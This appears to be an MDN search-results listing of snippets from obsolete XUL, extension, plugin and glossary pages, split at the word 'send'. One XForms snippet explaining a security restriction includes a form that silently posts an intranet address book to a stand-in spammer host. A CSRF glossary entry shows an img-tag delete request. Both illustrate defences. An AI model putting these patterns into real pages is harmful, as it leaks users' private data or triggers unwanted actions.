send data from a web page to an extension is by using custom dom events. in your extension's browser.xul overlay, write code which listens for a custom dom event. here we call the event myextensionevent. legacy add-ons this section contains links to documentation for legacy technology for add-on development, including: legacy extensions for firefox for android add-ons that work with desktop firefo...
Adding preferences to an extension - Archive of obsolete content
we do this because since refreshinformation() is usually called as a callback from setinterval. in such cases this doesn't refer to the right object. see method binding for detailed explanation. once we have the symbol in the local variable symbol, we use that to constru...
JXON - Archive of obsolete content
jxon.build parameters document the xml document to be converted into json format. verbosity optional the verbosity level of conversion (optional), from 0 to 3. it is almost equivalent to our algorithms from #4 to #1 (def...
List of Mozilla-Based Applications - Archive of obsolete content
rsions of wikipedia blog post about projects wine implementation of the windows api uses mozilla spidermonkey and the gecko activex control worksmart.net suite of web-based workplace apps uses prism wxwebconnect web browser control library wyzo browser xb browser anonymous web browser xbusiness create and
send branded invoices, quotes or estimates xdf billing and quotes software xiphos bible study software xmldbeditor database editor xpud linux desktop xpud: linux with an xul interface, 10 second boot time xrap xulrunner application packager xul daim image tool xul explorer development tool ...
Environment variables affecting crash reporting - Archive of obsolete content
cation memory in the minidump, so you can open it in a microsoft debugger. don't submit it to the server. (windows only.) moz_crashreporter_no_delete_dump don't delete the crash report dump file after submitting it to the server. minidumps will still be moved to the "crash reports/pending" directory. moz_crashreporter_no_report save the minidump file but don't launch the crash reporting ui or
send the report to the server. minidumps will be stored in the user's profile directory, in a subdirectory named "minidumps". moz_crashreporter_disable disable breakpad crash reporting completely. you can use this if you would rather use the jit debugger on windows with the symbol server, for example. moz_crashreporter_shutdown save the minidump and then force the application to close. this is use...
Enabling the behavior - updating the status periodically - Archive of obsolete content
now that we have code to retrieve tinderbox status and update the icon, we need to run it periodically. function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.
send(null); window.settimeout(loadtinderboxstatus, 60000); } window.settimeout(loadtinderboxstatus, 1000); window.settimeout schedules functions to run at some future time. we use it inside the loadtinderboxstatus function to make that function run a second (1,000 milliseconds) after startup and a minute (60,000 milliseconds) after each invocation. this allows users to get relatively frequent updates about tinderbox without overloading the tinderbox server or sl...
In-Depth - Archive of obsolete content
mozilla which portions to use. this is done using the -moz-image-region style. a bunch of 20px x 20px icons in a grid format above is the source image of some icons setup to use the -moz-image-region style. each row is a different icon in one of its 4 different states (normal, hover, mouse down, and disabled). to cut the pieces out you need to define rectangles in the css file like this: #button-
send { -moz-image-region: rect(294px 23px 315px 0px); } #button-
send:hover { -moz-image-region: rect(294px 46px 315px 23px); } #button-
send:hover:active { -moz-image-region: rect(294px 69px 315px 46px); } #button-
send[disabled="true"] { -moz-image-region: rect(294px 92px 315px 69px) !important; } the properties for rect are listed in a clockwise fashion - top, right, bottom, left. adding a...
Drag and Drop JavaScript Wrapper - Archive of obsolete content
erdata(); transferdata.data.adddataforflavour("text/unicode",txt); } } this might be useful when implementing drag and drop for cells in a tree. you can use the value of a cell, or some resource from an rdf file if the tree is built from a template, as the value of a drag. if you store it as a string, any object that accepts strings dragged onto it can grab the dragged data. ...
Gecko Coding Help Wanted - Archive of obsolete content
t method signatures to more natural c++ method signatures. it's really improved code readability, reduced code size, and sped up performance. it's kind of tedious but it's extremely valuable and will help you learn the way around the codebase. we've done a lot, but there's a lot more to do. roc is willing to work closely with anyone with reasonable c++ experience to get them started on this. just
send him mail. not up for coding yet? join the gecko bugathon and help save gecko engineers from imminent doom! original document information author(s): fantasai last updated date: may 4, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details. ...
Hidden prefs - Archive of obsolete content
approved" to show up in the compose window address picker, under to:, cc:, bcc:, newsgroup:, etc. for example: when that mail gets sent, approved: test@test.com will be in the message in the headers. this is a useful trick for newsgroup moderators who want moderate from mozilla. mail/news prefs "autcollect addresses" prefs from mailnews.js: // by default, only collect addresses the user
sends to (outgoing) pref("mail.collect_email_address_incoming", false); pref("mail.collect_email_address_outgoing", true); pref("mail.collect_email_address_newsgroup", false); // by default, use the personal addressbook for collection pref("mail.collect_addressbook","moz-abmdbdirectory://abook.mab"); for the reasons why the defaults changed, see this document on the collected address book. there is...
Menu - Archive of obsolete content
selectors don't automatically include the children of nodes they match. for example, jetpack.menu.context.page.on("a[href]") does not match images contained in links. to match links and all elements contained in links, use jetpack.menu.context.page.on("a[href], a[href] *"). a future version of jetpack may change this behavior; see bug 527924. what do you think? leave a comment on that bug or
send a message to the mailing list. parameters selector one or more css selectors. a string. examples: "a[href]", "a[href] > img", "a[href], img". return value a new contextmenuset object. jetpack.menu.context the feature's context menu. all of the feature's context menus are exposed through jetpack.menu.context, including slidebar, panel, toolbar, and status bar item context menus. ...
Message Summary Database - Archive of obsolete content
ing the mdb interface on top of a different db would be very hard), the nsimsgdatabase level (probably the easiest), or we could invent a whole new database interface and change all the code that uses the nsimsgdatabase interface. message headers the message header object implements the nsimsgdbhdr interface. this includes a set of per-message flags, the more commonly used headers (e.g., subject,
sender, from, to, cc, date, etc), and a few other attributes, e.g., keywords. there are a set of generic property methods so that core code and extensions can set attributes on msg headers without changing nsimsghdr.idl.msg threads we store thread information persistently in the database and expose these object through the [nsimsgthread interface. so the db knows which messages are in a thread, which ...
RDF Datasource How-To - Archive of obsolete content
translate a database file into statements like "spammer128@hotmail.com's real name is 'billy dumple'" and "spammer128@hotmail.com is considered an 'important friend'." statements from one datasource can be combined with statements from another datasource using a composite datasource. by combining statements from the imap datasource and address book datasource, above, we'd be able to identify the
sender of "message 126" as an "important friend". deciding on a vocabulary the vocabulary is the set of properties that you will use to express relationships between elements (resources and literals) in your data model. the first question that you must answer is "should i use an existing vocabulary, or invent my own?" a reasonable answer is, "use an existing vocabulary unless you absolutely must inven...
File object - Archive of obsolete content
examples example: hello, world file.output.writeln("hello, world"); example: writing a new file var file = new file("myfile.txt"); file.open("write,create", "text"); file.writeln("the quick brown fox jumped over the lazy dogs"); file.close(); example: reading from a file var data; var file = new file("myfile.txt"); file.open("read", "text"); data = file.readln(); file.close(); example:
sending mail through a pipeline var mail = new file("|/usr/lib/
sendmail foo@bar.com"); mail.writeln("i love javascript.\npipe support is especially good!"); mail.close(); ...
Treehydra Manual - Archive of obsolete content
d of representing code in "easy" form like dehydra, treehydra relies on gimple, the gcc internals "middle-end" intermediate representation. treehydra simply reflects the gcc internals structures into javascript. for now, the best way to learn gimple is to look at existing code as there is little newbie documentation to be had. callbacks and gcc intermediate representations like dehydra, treehydra
sends program representations to the user javascript via callbacks. there are 3 treehydra callbacks. note that the callbacks interact with other treehydra options. to make things easier, we will first present recipes for accessing specific gcc intermediate representations. treehydra provides the following callbacks to analysis scripts: process_tree_decl, process_tree, process_tree_type, and process_cp...
Mozilla Web Developer Community - Archive of obsolete content
s updated very often. mozilla developer news feed actually, there are no other feeds available for developer.mozilla.org. looking for feed ideas? the list of old devedge feeds is at http://devedge-temp.mozilla.org/comm.../feedlist.html feedback hendrix mdnproduct feedback bugzilla - report a bug in a mozilla product for questions related to this website (but not technical questions), please
send your message to the mdc mailing list. ...
events - Archive of obsolete content
« xul reference home events type: comma-separated list a comma-separated list of event names that the command updater will update upon. if this attribute is not specified, or you set it to the value '*', all events are valid. valid events are listed below, or you can use your own events. you can
send a custom event by calling the updatecommands method of the command dispatcher. focus: occurs when the focused element changes. select: occurs when the selected text changed. clipboard: occurs when the clipboard is changed. undo: occurs when the undo buffer is changed. ...
Index - Archive of obsolete content
adiogroup or descendants. place the radiogroup inside a groupbox if you would like a border or caption for the group. the radiogroup defaults to vertical orientation. 1163 resizer xul elements, xul reference an element used for window resizing. if you place a custom resizing button inside the resizer, the user will be able to resize the window by dragging it. the resizer will
send a command event after the resize is complete. 1164 richlistbox xul elements, xul reference this element is used to create a list of listitems (richlistitems), similar to a listbox, but is designed to be used when the items do not contain simple text content. 1165 richlistitem needsexample, xul elements, xul reference an individual item in a richlistbox. ...
Introduction to XUL - Archive of obsolete content
an be accomplished by including javascript in the xul, or by application code which walks the content model after it has been built from xul, and hooks up event listeners. generally a real application will use some combination of the two. applications, for instance, will have preconceived notions of what to do when they receive an "open file" command. an "open" button is simply a button. it will
send its command to the application for processing, generally using some simple javascript for linkage. we are at first primarily concerned with the obvious ui components: toolbars, menus and dialogs. conceptually, the xul language will allow someone with a text editor, given a package of components which can work together, the ability to put together an application by specifying something like this ...
List of commands - Archive of obsolete content
onkey/sou...okmarkstree.js list of commands (listed alphabetically) browser:addbookmark browser:addbookmarkas browser:addgroupmarkas browser:back browser:editpage browser:find browser:findagain browser:findprev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printpreview browser:savepage browser:searchinternet browser:
sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_delete cmd_bm_expandfolder cmd_bm_export cmd_bm_find cmd_bm_import cmd_bm_managefolder cmd_bm_movebookmark cmd_bm_newbookmark cmd_bm_newfolder cmd_bm_newseparator cmd_bm_open cmd_bm_openinnewtab cmd_bm_openinnewwindow cmd_bm_paste cmd_bm_properties cmd_bm_rename cmd_bm_selectall cmd_bm_setnewbookmarkfolder cmd_bm_setnewsea...
PopupEvents - Archive of obsolete content
log has been closed. there are situations when the popuphiding event will not fire when a menu is closed so you should make sure not to call any necessary code there. a better way is to just reinitialize the menu or popup in the popupshowing event. one such situation when the hiding events are not sent is when the menu is removed from the document. this is because there is no longer an element to
send the events to. another situation is when the document is being unloaded. the popuphidden event the popuphidden event is fired after a popup has been closed. when a chain of menus is opened, that is, when a menu and at least one level of submenus is opened, first the popuphiding event will be fired on the lowest level of submenu. then that menu will be closed and the popuphidden event will be fire...
RDF Modifications - Archive of obsolete content
tasource hasn't changed, the builder won't receive any notifications. this saves a lot of extra work. the rdf observer also has two methods onbeginupdatebatch and onendupdatebatch. these are called when performing a lot of operations on a datasource. when changing the datasource, the changes are surrounded by begin and end batch calls. then, rather than notify on every change, the datasource will
send one notification when the changes are finished. the template builder then rebuilds the template completely when done. this is useful when making a large amount of changes to avoid having to keep recalculating parts of the template that might change again quickly. adding rdf triples let's say we've just added the triple below to the datasource. subject: http://www.xulplanet.com/ndeakin/images/...
Complete - Archive of obsolete content
m.xul is loaded, the doctype declaration near the top loads a dtd from chrome://allcustom/locale/. the application's chrome registry converts this url to the correct dtd file for the locale you are using. the xul toolbarbutton tag contains an entity &allcustom.alert.1;. the dtd resolves this into a text string in the appropriate language. when you press the button, the code in the xul element
sends the text string to the extension's javascript code in allcustom.js. the extension's javascript code displays the text. file structure in the new file structure, there is a locale directory for all the locales. each locale has its own directory there. in each locale's directory, there is an allcustom directory. this is useful when files from various components and extensions and all unpacked in ...
Commands - Archive of obsolete content
r and not scattered throughout the ui code. the other advantage is that several buttons or other ui elements can be hooked up to the same command. for instance, you might have a menu item, a toolbar button and a keyboard shortcut all for the same operation. rather than repeat the code three times, you can hook all three up to the same command. normally, you would only hook up elements that would
send a command event. additionally, if you set the disabled attribute on the command, the command will be disabled and it will not be invoked. any buttons and menu items hooked up to it will be disabled automatically. if you re-enable the command, the buttons will become enabled again. example: toggling command disabled example 2 : source view <command id="cmd_openhelp" oncommand="alert('he...
More Event Handlers - Archive of obsolete content
oordinates function. if you move the mouse quickly across the border of the box, you might notice that the coordinates don't generally stop right at 400. this is because the mousemove events occur at intervals depending on the speed at which the mouse moves and the mouse is usually moved some distance past the border by the time the next event fires. obviously, it would be much too inefficient to
send a mousemove event for every pixel the mouse is moved. element relative coordinates you will often want to get the coordinates of an event relative to the element where the event occurred rather than the entire window. you can do this by subtracting the element's position from the event position, as in the following code. var element = event.target; var elementx = event.clientx - element.boxobject...
XPCOM Interfaces - Archive of obsolete content
m that mozilla uses. calling native objects by using xul we can build a complex user interface. we can attach scripts which modify the interface and perform tasks. however, there are quite a number of things that cannot be performed directly with javascript. for example, if we wanted to create a mail application, we would need to write scripts which would connect to mail servers to retrieve and
send mail. javascript does not have the capability to do such things. the only way to handle this would be to write native code that would get mail. we also need to have a way for our scripts to call the native code easily. mozilla provides such a method which involves using xpcom (cross-platform component object model). mozilla provides many xpcom components and interfaces. so, in most cases, you d...
XUL Structure - Archive of obsolete content
missions; however both html and xul loaded through a chrome url have enhanced permissions. remote xul was disabled in firefox 8, so the following is of historic interest only. if you are going to use xul on a web site, you can just put the xul file on the web site as you would an html file, and then load its url in a browser http://localhost/xul.php. ensure that your web server is configured to
send xul files with the content type of application/vnd.mozilla.xul+xml (eg with php header('content-type: application/vnd.mozilla.xul+xml');). this content type is how mozilla knows the difference between html and xul. mozilla does not use the file extension, unless reading files from the file system, but you should use the .xul extension for all xul files. you can load xul files from your own machin...
Using Remote XUL - Archive of obsolete content
+xml. for apache, you can do this by adding the following line to your mime.types file: application/vnd.mozilla.xul+xml .xul alternately, add this line to your httpd.conf file or, if the apache server is configured to allow it, to the .htaccess file in the directory from which the xul file is served: addtype application/vnd.mozilla.xul+xml .xul then restart your web server. with php you can
send the mime-type with the header() function. <?php header('content-type: application/vnd.mozilla.xul+xml'); ?> <!-- xul markup starts here --> note that you don't need a web server for this tutorial; you can load the document you create on your computer via a "file" url or the "open file" function of your browser. step 1: a basic xul document the first thing we need to do is create a basic xu...
command - Archive of obsolete content
e advantage that the command will be sent to the part of the ui which will respond to it. typically, this will be the currently focused element. like a broadcaster, commands forward attributes to other elements. more information is available in the xul tutorial. ...
commandset - Archive of obsolete content
y valid when something is selected, a command updater might be used when the select event occurs. events type: comma-separated list a comma-separated list of event names that the command updater will update upon. if this attribute is not specified, or you set it to the value '*', all events are valid. valid events are listed below, or you can use your own events. you can
send a custom event by calling the updatecommands method of the command dispatcher. focus: occurs when the focused element changes. select: occurs when the selected text changed. clipboard: occurs when the clipboard is changed. undo: occurs when the undo buffer is changed. oncommandupdate type: script code this event occurs when a command ...
resizer - Archive of obsolete content
note: starting in gecko 2.0, you can also specify a target element using the element attribute, to use the resizer to resize the specified element instead of the window. ...
titlebar - Archive of obsolete content
custom titlebars for chromeless windows. if the titlebar is in a panel element, dragging it will move the panel. elements inside the titlebar usually don't receive any mouse events, so e.g. buttons inside it can't be clicked and textboxes can't be focused with the mouse. if you don't want this behavior, you can override it by setting allowevents="true" on the titlebar element. the titlebar will
send a command event after the move is complete. examples this xul file will create a hud-style window that can be moved with the mouse. it will close if the mouse button is released. <?xml version="1.0"?> <window title="movable hud window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" width="300" height="200" style="background: transparent; -moz-appe...
tree - Archive of obsolete content
, onselect, rows, seltype, statedatasource, tabindex, treelines properties accessibletype, builderview, columns, contentview, currentindex, disablekeynavigation, disabled, editingcolumn, editingrow, enablecolumndrag, firstordinalcolumn, inputfield, seltype, selstyle, tabindex, treeboxobject, view examples a tree with several columns <tree flex="1" rows="2"> <treecols> <treecol id="
sender" label="
sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treecell label="let's do lunch"/> </tr...
treechildren - Archive of obsolete content
espace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata example <tree flex="1"> <treecols> <treecol id="
sender" label="
sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treecell label="let's do lunch"/> </tr...
2006-11-22 - Archive of obsolete content
summary: mozilla.dev.accessibility - nov 17-nov 22, 2006 announcements mozilla osk project grant aaron leventhal (on behalf of michael curran) mentiond that there is now an nvda email list you can join if you wish to keep up to date with the latest changes, or if you wish to discuss new features or talk with other nvda users. to join,
send a blank email with subscribe in the subject field to: nvda...@freelists.org (click here to view the original post and unmask the e-mail address) michael would like to thank stormdragon for setting this up. click here for more details. new mailing list for nvda steve lee was pleased to announce that the mozilla foundation has approved a grant spearheaded by himself and aaron leventhal for "improved switch access to firefox". he expressed h...
2006-10-27 - Archive of obsolete content
ablity of ff 2.0 final release and provided download links, even though the release was on october 24. the owner of the site probably browsed on the releases/2.0 dir on the ftp and got the releases, which is kind of unpolite. cédric wanted to know if the release directory should be closed before a major release to avoid this kind of thing to happen. axel responded by stating that cédric should
send them a nice note to correct that. on the same day cédric replied to axel's posting stating that he was going to forward a note to tristan separately. on the same day paul reed replied to cédric's posting by stating that they would like to close the directory before major releases but that unfortunately it wasn't that easy to do because the files must be readable, so mirrors can get the bi...
Extentsions FAQ - Archive of obsolete content
e necessary tags for the feed to appear as a livemark are seemingly present and properly formatted in the feeds source? asking for help in knowing the data that is typed into text boxes. asking about the feasibility of making an extension that has the same functionality as “trace route”. friday, september 29 - october 6, 2006 (↑ top) how can we programmatically extract the subject,
sender, date and the body of an e- mail when you are reading one (in thunderbird presumably)? could someone make an addressbook enhancer extension that has the ability to put pictures on a contact and other features the thunderbird address book lacks. is there a way to save a whole news thread in thunderbird? is there some workaround for the timing issue with windows and linux? friday, octo...
2006-09-22 - Archive of obsolete content
announcements java port of jsdriver.pl for rhino available david p. caldwell submitted a patch for rhino (filed under bug #353501) with a number of improvements. discussions mozilla.org/js points to wrong newsgroup david p. caldwell has noted that the main javascript site on mozilla.org is
sending people to the wrong newsgroup. meetings jaoo conference meeting in aarhus, denmark - 2006/10/1 to 2006/10/6 ...
Monitoring plugins - Archive of obsolete content
also note that in the example above an if statement first checks to see that the arriving notification's topic is the correct one. this is useful in cases where your class is registered to receive notifications for more than one topic with the observer serv...
NPN_InvalidateRect - Archive of obsolete content
invalidate the area with either npn_invalidaterect() or npn_invalidateregion(). npn_invalidaterect() causes the npp_handleevent() method to pass an update event or a paint message to the plug-in. after calling this method, the plug-in receives a paint message asynchronously. the browser redraws invalid areas of the document and any windowless plug-ins at regularly timed intervals. to immediately
send a paint message, the plug-in can call npn_forceredraw() after calling this method. see also npn_forceredraw() npn_invalidateregion() nprect npp ...
NPN_RequestRead - Archive of obsolete content
stream of type np_seek from which to read bytes. rangelist range of bytes in the form of a linked list of npbyterange objects, each of which specifies a request for a range of bytes. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. description for a seekable stream, the browser
sends data only in response to requests by the plug-in. the plug-in calls npn_requestread() to request data from a seekable stream. the plug-in can use this function to make one or more requests for ranges of bytes. these requests result in subsequent calls to npp_writeready() and npp_write(). for multiple requests, the function creates a linked list of npbyterange structures, each of which represents...
NPN_Write - Archive of obsolete content
ssing the data, so the plug-in should terminate the stream by calling npn_destroystream(). description npn_write() delivers a buffer from the stream to the instance. a plug-in can call this function multiple times after creating a stream with npn_newstream(). the browser makes a copy of the buffer if necessary, so the plug-in can free the buffer as the method returns, if desired. see "example of
sending a stream" for an example that includes npn_write(). example this example pushes a snippet of html over a newly created stream, then destroys the stream when it's done. note: you should actually handle errors, which this example doesn't do. npstream* stream; char* mydata = "<html><b>this is a message from my plug-in!</b></html>"; int32 mylength = strlen(mydata) + 1; /* create the stream. ...
NPP_Write - Archive of obsolete content
stream, that contains len bytes of data offset bytes from the start of the stream. the buffer is allocated by the browser and is deleted after returning from the function, so the plug-in should make a copy of the data it needs to keep. returns the plug-in should return the number of bytes written (consumed by the instance). if the return value is smaller than the size of the buffer, the browser
sends the remaining data to the plug-in through subsequent calls to npp_writeready and npp_write. if unsuccessful, the function signals an error by returning a negative value. the browser will destroy the stream by calling npp_destroystream. description the browser calls the npp_write function to deliver the data specified in a previous npp_writeready call to the plug-in. a plug-in must consume at lea...
Threats - Archive of obsolete content
to have the email address jdoe@example.net, or a computer can identify itself as a site called www.example.net when it is not. this type of impersonation is known as spoofing. misrepresentation. a person or organization can misrepresent itself. for example, suppose the site www.example.net pretends to be a furniture store when it is really just a site that takes credit-card payments but never
sends any goods. malware. website malware is a growing problem. business needs have changed the way websites store sensistive data, with more usage of cloud services. but hackers may make out money, data and confidential information from your website by infecting website with malware. for example, site can be infected with a malware redirect hack in which a legitimate redirects to spam site or a...
Vulnerabilities - Archive of obsolete content
ure without first evaluating the risks it would introduce. threats may also change over the lifetime of software or a protocol used in software. for example, the address resolution protocol (arp) trusts that an arp reply contains the correct mapping between media access control (mac) and internet protocol (ip) addresses. the arp cache uses that information to provide a useful service—to enable
sending data between devices within a local network. however, an attacker could generate false arp messages to poison a system’s arp table and thereby launch a denial-of-service or a man-in-the-middle attack. the arp protocol was standardized over 25 years ago, and threats have changed a great deal since then, so the trust assumptions inherent in its design then are unlikely to still be reasonable ...
Building a Theme - Archive of obsolete content
s files, close and restart firefox, and see the updates. package now that your theme works, you can package it for deployment and installation. zip up the contents of your theme's folder (not the theme folder itself), and rename the zip file to have a .xpi extension. in windows, you can do this easily by selecting all the files and subfolders in your extension folder, right click and choose "
send to -> compressed (zipped) folder". a .zip file will be created for you. just rename it and you're done! on mac os or linux, you can use the command-line zip tool: zip -r my_theme.xpi install.rdf chrome.manifest browser communicator global mozapps or, if you have 7-zip installed, you can use that for zipping it up: 7z a -tzip my_theme.xpi chrome chrome.manifest note: the command-line tool w...
Using SSH to connect to CVS - Archive of obsolete content
f you install the openssh package from the net category. if all else fails, openssh is a widely used and highly portable implementation. the following command should generate a suitable key pair: ssh-keygen -t dsa this will take a moment, followed by a prompt for a passphrase. once you have entered a passphrase, ssh-keygen will create two files, ~/.ssh/id_dsa and ~/.ssh/id_dsa.pub do not
sendid_dsa. do file a server operations bug in bugzilla and attach yourid_dsa.pub to the bug. setting up cvs to use ssh in your system's environment, make sure thatcvs_rsh is set to whatever your ssh binary is called; a full path is not necessary if ssh is already in your path. replace pserver with ext in your cvsroot environment variable. if you wish to keep your previous pserver trees, you'll ne...
Browser Detection and Cross Browser Support - Archive of obsolete content
t them. the abilities of browsers to support the latest and greatest content changed on an almost daily basis. web authors were faced from the beginning with a variety of browsers, some of which supported the latest and greatest version html and some which did not. the solution was either to provide the lowest-common denominator of html or to use browser detection techniques on the web server to
send customized content to each browser depending on what level of support the browser provided. server side browser detection using user agent strings was born. user agent strings are defined in the http protocol and are available to web servers (see rfc 1945 - hypertext transfer protocol 1.0 and rfc 2068 - hypertext transfer protocol 1.1). the most common approach at this time was to distinguish u...
Using JavaScript Generators in Firefox - Archive of obsolete content
x by opting in to using javascript version 1.7 or later. you can opt in in html as follows: <script type="text/javascript;version=1.7" src="myscript.js"></script> then your myscript.js file might look like this: // need to stash the generator in a global variable. var generator; // simple event listener function to pass the received event to the generator. function grabevent(event) { generator.
send(event); } // when we're all done we can close the generator, but that must happen outside // of the generator so we use a timeout. function closegenerator() { settimeout(function() { generator.close(); }, 0); } // our main steps function databaseoperation() { mozindexeddb.open("mytestdatabase").onsuccess = grabevent; var event = yield; var db = event.target.result; if (db.vers...
Debug.writeln - Archive of obsolete content
the debug.writeln function
sends strings to the script debugger, followed by a newline character. syntax debug.writeln([str1 [, str2 [, ... [, strn]]]]) parameters str1, str2, ... , strn optional strings to
send to the script debugger. remarks the debug.writeln function
sends strings, followed by a newline character, to the immediate window of the microsoft script debugger at run time. if the script is not being debugged, the debug.writeln function has no effect. the debug.writeln function is almost identical to the debug.write function. the only difference is that the debug.write function does not
send a newline character after
sending the strings. example this example uses the debug.writeln function to display the value of the variable in the immediate window of the mic...
Mozilla XForms Specials - Archive of obsolete content
be local files, and thus trusted, but it is not always the case. so there is not automatic "whitelisting" of local files. if you are wondering why we have this restriction, here is a simple example of why: <xforms:model> <xforms:instance src="http://intranetserver/addrbook.xml"/> <xforms:submission id="sub" action="http://megaspammer.com/gather" method="post"/> <xforms:
send submission="sub" ev:event="xforms-ready"/> </xforms:model> this imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and
send it to http://megaspammer.com/gather as soon as you view the xform. ...
WebVR — Virtual Reality for the Web - Game development
e implementation together), but sooner rather than later we'll see it in regular builds. the webvr spec is in editor's draft status which means it is still subject to change. the development is led by vladimir vukicevic from mozilla and brandon jones from google. for more info be sure to visit the mozvr.com and webvr.info websites. using the webvr api the webvr api is based on two concepts —
sending stereoscopic images to both lenses in your headset and receiving positional data for your head from the sensor, and those two are handled by hmdvrdevice (head-mounted display virtual reality device) and positionsensorvrdevice. get the devices to get information about devices connected to your computer, you can use the navigator.getvrdevices method: navigator.getvrdevices().then(function(dev...
WebRTC data channels - Game development
the webrtc (web real-time communications) api is primarily known for its support for audio and video communications; however, it also offers peer-to-peer data channels. this article explains more about this, and shows you how to use libraries to implement data channels in your game. what is a data channel? a webrtc data channel lets you
send text or binary data over an active connection to a peer. in the context of a game, this lets players
send data to each other, whether text chat or game status information. data channels come in two flavors. reliable channels guarantee that messages you
send arrive at the other peer and in the same order in which they're sent. this is analogous to a tcp socket. unreliable channels make no such guarantees; messages aren't guaranteed to arrive i...
Visual typescript game engine - Game development
ion.html.js | | | ├── nocommit.js (no commited for now) | | └── data/ (ignored - db system folder) | ├── rtc/ | | ├── server.ts | | ├── connector.ts | | ├── self-cert/ server part installed database: mongodb@3.1.8 -no typescript here, we need to keep state clear no. node.js is the best options. for email staff, i choose: npm i gmail-
send. -run services database server (locally and leave it alive to develop process): npm run dataserver looks like this : mongod --dbpath ./server/database/data fix: "failed: address already in use" : netstat -ano | findstr :27017 taskkill /pid typeyourpidhere /f also important "run visual studio code as administrator". - a command for killing all node.js process for window users : ...
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
h each party receives and processes messages whenever it's convenient or possible to do so, rather than doing so immediately upon receipt. additionally, messages may be sent without waiting for acknowledgement, with the understanding that if a problem occurs, the recipient will request corrections or otherwise handle the situation. for humans, e-mail is an asynchronous communication method; the
sender
sends an email and the recipient will read and reply to the message when it's convenient to do so, rather than doing so at once. and both sides can continue to
send and receive messages whenever they wish, instead of having to schedule them around each other. when software communicates asynchronously, a program may make a request for information from another piece of software (such as a serve...
CORS-safelisted request header - MDN Web Docs Glossary: Definitions of Web-related terms
a cors-safelisted request header is one of the following http headers: accept, accept-language, content-language, content-type. when containing only these headers (and values that meet the additional requirements laid out below), a requests doesn't need to
send a preflight request in the context of cors. you can safelist more headers using the access-control-allow-headers header and also list the above headers there to circumvent the following additional restrictions: additional restrictions cors-safelisted headers must also fulfill the following requirements in order to be a cors-safelisted request header: for accept-language and content-language: can only have values consisting of 0-9, a-z, a-z, space or *,-.;=. for accept and content-type: can't contain a cors-unsafe ...
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
this can be done, for example, by including malicious parameters in a url behind a link that purports to go somewhere else: <img src="https://www.example.com/index.php?action=delete&id=123"> for users who have modification permissions on https://www.example.com, the <img> element executes action on https://www.example.com without their noticing, even if the element is not at https://www.example.com. there are many ways to prevent csrf, such as implementing restful api, adding secure tokens, etc. ...
Client hints - MDN Web Docs Glossary: Definitions of Web-related terms
rowser the hints by setting the accept-ch meta tag. basically, with the client hints header, the developer or application can tell the browser to advertise information about itself to the server, such as the device pixel ratio, the viewport width, and the display width. the client can then give the server information about the client's environment, and the server can determine which resources to
send based on that information. varying client hints to convey to caches that different client hints may affect the response, the vary http header must be used. example varying response: vary: accept, dpr, width, viewport-width, downlink see also client hints headers vary http header ...
DTMF (Dual-Tone Multi-Frequency signaling) - MDN Web Docs Glossary: Definitions of Web-related terms
"touch tone" (after the touch-tone trademark used when the transition from pulse dialing to dtmf began), dtmf makes it possible to signal the digits 0-9 as well as the letters "a" through "d" and the symbols "#" and "*". few telephone keypads include the letters, which are typically used for control signaling by the telephone network. computers may make use of dtmf when dialing a modem, or when
sending commands to a menu system for teleconferencing or other purposes. learn moreedit general knowledge dual-tone multi-frequency signaling on wikipedia pulse dialing on wikipedia ...
Gzip compression - MDN Web Docs Glossary: Definitions of Web-related terms
gzip is a file format used for file compression and decompression. it is based on the deflate algorithm that allows files to be made smaller in size which allows for faster network transfers. gzip is commonly supported by web servers and modern browsers, meaning that servers can automatically compress files with gzip before
sending them, and browsers can uncompress files upon receiving them. learn more how to enable compression and gzip for page speed. gzip on wikipedia ...
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
rom the model. the controller the controller contains logic that updates the model and/or view in response to input from the users of the app. so for example, our shopping list could have input forms and buttons that allow us to add or delete items. these actions require the model to be updated, so the input is sent to the controller, which then manipulates the model as appropriate, which then
sends updated data to the view. you might however also want to just update the view to display the data in a different format, e.g., change the item order to alphabetical, or lowest to highest price. in this case the controller could handle this directly without needing to update the model. mvc on the web as a web developer, this pattern will probably be quite familiar even if you've never consciou...
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
a man-in-the-middle attack (mitm) intercepts a communication between two systems. for example, a wi-fi router can be compromised. comparing this to physical mail: if you're writing letters to each other, the mailman can intercept each letter you mail. they open it, read it, eventually modify it, and then repackage the letter and only then
send it to whom you intended to sent the letter for. the original recipient would then mail you a letter back, and the mailman would again open the letter, read it, eventually modify it, repackage it, and give it to you. you wouldn't know there's a man in the middle in your communication channel – the mailman is invisible to you and to your recipient. in physical mail and in online communication, mitm attacks are tough to defend. a few tips: do...
NAT - MDN Web Docs Glossary: Definitions of Web-related terms
nat (network address translation) is a technique for letting multiple computers share an ip address. nat assigns unique addresses to each computer on the local network and adjusts incoming/outgoing network traffic to
send data to the right place. learn more general knowledge webrtc protocols nat on wikipedia ...
Page prediction - MDN Web Docs Glossary: Definitions of Web-related terms
